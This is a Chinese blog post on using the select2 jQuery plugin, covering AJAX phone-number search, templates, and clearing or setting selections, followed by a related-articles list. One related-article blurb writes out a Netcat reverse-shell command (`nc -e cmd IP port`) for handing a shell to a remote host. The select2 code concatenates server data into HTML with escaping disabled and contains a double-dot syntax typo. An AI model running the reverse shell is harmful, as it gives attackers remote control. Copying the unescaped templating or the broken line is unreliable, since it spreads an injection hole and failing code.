select2使用方法总结

简介: 官网:http://select2.github.io/ 调用   一、查询 获取当前选中值 $('#xxx').val()   电话号码查询示例 var selectTelehone; $(function () { selectTeleho...

官网:http://select2.github.io/

调用

<link href="~/Content/select2.min.css" rel="stylesheet" />
<script src="~/Scripts/select2/select2.full.min.js"></script>
<script src="~/Scripts/select2/i18n/zh-CN.js"></script>

 

一、查询

获取当前选中值

$('#xxx').val()

 

电话号码查询示例

var selectTelehone;

$(function () {
    selectTelehone = $("#select-telehone");
    initSelectTelephone();
});

function initSelectTelephone() {
    selectTelehone.select2({
        ajax: {
            url: function (params) {
                return "/PartyA/Telephone/SearchByShortNumber?partyACompanyId=" + partyACompanyId + '&TelephoneNumber=' + params.term;
            },
            dataType: 'json',
            processResults: function (data, params) { 
                for (var i = 0; i < data.length; i++) {
                    data[i].id = data[i].Id;
                    data[i].text = data[i].TelephoneNumber;
                } 
                return {
                    results: data
                };
            },
            cache: true
        },
        allowClear: true,    //选中之后,可手动点击删除            
        placeholder: "输入号码搜索...",
        escapeMarkup: function (markup) { return markup; }, // 让template的html显示效果,否则输出代码
        minimumInputLength: 2,    //搜索框至少要输入的长度,此处设置后需输入才显示结果
        language: "zh-CN",         //中文
        templateResult: formatTelehoneNumber, // 自定义下拉选项的样式模板
        templateSelection: formatTelehoneNumberSelection     // 自定义选中选项的样式模板
    });

    selectTelehone.on("select2:select", function (evt) {
        //这里是选中触发的事件
        //evt.params.data 是选中项的信息
    });

    selectTelehone.on("select2:unselect", function (evt) {
        //这里是取消选中触发的事件
        //如配置allowClear: true后,触发
    });
}

function formatTelehoneNumber(item) {
    if (item.loading) return item;
    var markup = '<div> <p class="text-primary">电话号码:' + item.TelephoneNumber + '</p>'; 
    //markup += '这里可以添加其他选项...';
    markup += ' </div>';
    return markup;
}


function formatTelehoneNumberSelection(item) {
    if (item.TelephoneNumber) {
        return item.TelephoneNumber;
    }
    else {
        return "输入号码搜索...";
    }
}

 

二、操作

1.清空选中项

$("#id")..unbind("change").bind("change", function () {
  //变更事件
});

$("#id").select2().val(null).trigger("change");//如无业务需求也可不使用trigger("change")
$("#id").find("option").remove();//清除搜索时输入的文字,默认会被记下、此操作仅在查询使用ajax时使用

//以下清空选中/赋值文本,但是无清空选中项的值
//$("#select2-select-telehone-container")的‘select-telehone’为select的ID值
$("#select2-select-telehone-container").closest('.select2-container--below').addClass("select2-container--focus").removeClass("select2-container--below");//清除当前被选中的文本
$("#select2-select-telehone-container").prop("title", '');//清除当前被选中的title属性,也可使用removeAttr('title')
$("#select2-select-telehone-container").html('<span class="select2-selection__placeholder">默认提示文本</span>'); //也可使用html('')清除当前被选中的文本

 

2.设置选中项

$(".js-programmatic-set-val").on("click", function () { $example.val("CA").trigger("change"); });//如果使用ajax获取数据,无法使用本方法,因为option在非查询时是空的

 

相关文章
|
监控 安全 Shell
【Shell 命令集合 系统管理 】Linux 获取用户信息 finger命令 使用指南
【Shell 命令集合 系统管理 】Linux 获取用户信息 finger命令 使用指南
188 0
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
456 0
|
人工智能 文字识别 测试技术
AI创企深度求索推出DeepSeek-VL系列大模型
【2月更文挑战第24天】AI创企深度求索推出DeepSeek-VL系列大模型
692 2
AI创企深度求索推出DeepSeek-VL系列大模型
|
安全 网络协议 Linux
安卓Termux搭建web服务器【公网远程手机Android服务器】
安卓Termux搭建web服务器【公网远程手机Android服务器】
|
Java 数据库连接 数据库
强大:MyBatis ,三种流式查询方法
流式查询指的是查询成功后不是返回一个集合而是返回一个迭代器,应用每次从迭代器取一条查询结果。流式查询的好处是能够降低内存使用。
强大:MyBatis ,三种流式查询方法
|
1月前
|
Ubuntu 安全 Linux
2024 年最适合高级用户的 11 个 Linux 发行版
当然,上述列举的只是众多可用Linux发行版中的一小部分,远远不能穷尽全部。目前,全球有600多个Linux发行版,其中大约有500个处于积极开发的状态。 然而,我们认为有必要关注一些广泛应用的发行版,其中一些发行版的设计理念甚至影响了其他Linux发行版的风格与发展方向。这些发行版在Linux社区中扮演着重要的角色,并因其独特的特点和广泛的用户群体而备受关注。
|
6月前
|
数据采集 存储 监控
网站价格监控:动态价格数据的实时抓取案例
本案例展示了如何利用爬虫技术实时抓取京东等电商平台的商品信息、价格及用户评价,通过代理IP、Cookie和User-Agent确保数据稳定采集。关键数据分析包括价格动态监控、评价趋势分析和竞争情报获取,助力商家制定策略。代码从简单请求逐步演进为具备异常处理、数据解析等功能的完整体系,并设计了「技术关系图谱」,直观展示系统模块间的关系,为开发者提供全局视角和技术路径参考。
1022 0
网站价格监控:动态价格数据的实时抓取案例
|
负载均衡 安全 Ubuntu
docker部署keepalived(搭建keepalived)
将HTML或其他格式的内容转化为图片是Web开发中的一个较为常见需求。在某些特殊场景下,比如生成用户看不到的信息图片或进行内容的快速截图,该功能变得尤为重要。部署Keepalived至Docker容器提供了一种便捷方式来保证服务的高可用性。通过上述步骤,你可以轻松地在自己的项目中实现这一点,从而确保业务的连续性和稳定性。
649 4
|
存储 搜索推荐 Linux
5个值得学习的C++完整项目实战
5个值得学习的C++完整项目实战
|
开发者
如何画好一张架构图/业务图/流程图,掌握4个关键点
本文分享了如何制作出有帮助的图表,强调了即使是开发者也需要良好的绘图技巧。文章列举了常见的图表类型,如代码实现图、技术架构图、业务流程图、技术链路图、交互时序图和业务架构图,并指出好的图表应具备结构清晰、外表美观和内容完整的特点。为了达到这些标准,作者推荐了设计的四大原则:亲密性、对齐、对比和重复,以及色轮的运用来提升美感。此外,还介绍了黄金分割构图法以增加视觉吸引力。最后,强调了以终为始的设计思路,确保图表能独立传达完整的信息,并鼓励读者实践这些技巧,提升工作和生活中的沟通效率。
1084 1
如何画好一张架构图/业务图/流程图,掌握4个关键点